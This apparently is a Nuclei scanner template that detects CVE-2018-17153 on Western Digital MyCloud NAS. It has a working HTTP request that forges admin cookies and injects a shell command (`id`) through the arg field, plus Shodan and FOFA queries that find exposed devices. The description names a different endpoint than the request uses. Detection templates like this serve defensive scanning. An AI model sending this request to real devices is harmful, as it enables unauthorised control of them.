Western Digital MyCloud NAS - Authentication Bypass

id: CVE-2018-17153

info:
  name: Western Digital MyCloud NAS - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called \"cgi_get_ipv6\" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter \"flag\" with the value \"1\" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the device, potentially leading to data theft or unauthorized control of the NAS.
  remediation: |
    Apply the latest firmware update provided by Western Digital to fix the authentication bypass vulnerability.
  reference:
    - https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
    - https://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
    - https://securify.nl/nl/advisory/SFY20180102/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges.html
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10108
    - http://packetstormsecurity.com/files/173802/Western-Digital-MyCloud-Unauthenticated-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17153
    cwe-id: CWE-287
    epss-score: 0.86586
    epss-percentile: 0.99712
    cpe: cpe:2.3:o:western_digital:my_cloud_wdbctl0020hwt_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: western_digital
    product: my_cloud_wdbctl0020hwt_firmware
    shodan-query: http.favicon.hash:-1074357885
    fofa-query: icon_hash=-1074357885
  tags: cve2018,cve,packetstorm,auth-bypass,rce,wdcloud,western_digital,vuln

http:
  - raw:
      - |
        POST /web/google_analytics.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Cookie: isAdmin=1; username=admin;

        cmd=set&opt=cloud-device-num&arg=0|echo%20`id`%20%23

    matchers:
      - type: dsl
        dsl:
          - regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)", body)
          - contains(body, "ganalytics")
          - status_code == 200
        condition: and
# digest: 490a0046304402205333140c4bedbcb33c79885a16a0844ea03ac2a33b505e5f016d78a3bd0aec35022012b309a774e11919a373ac02e90bf328e157490a7532305826eb113c9a49d60b:922c64590222798bb761d5b6d8e72950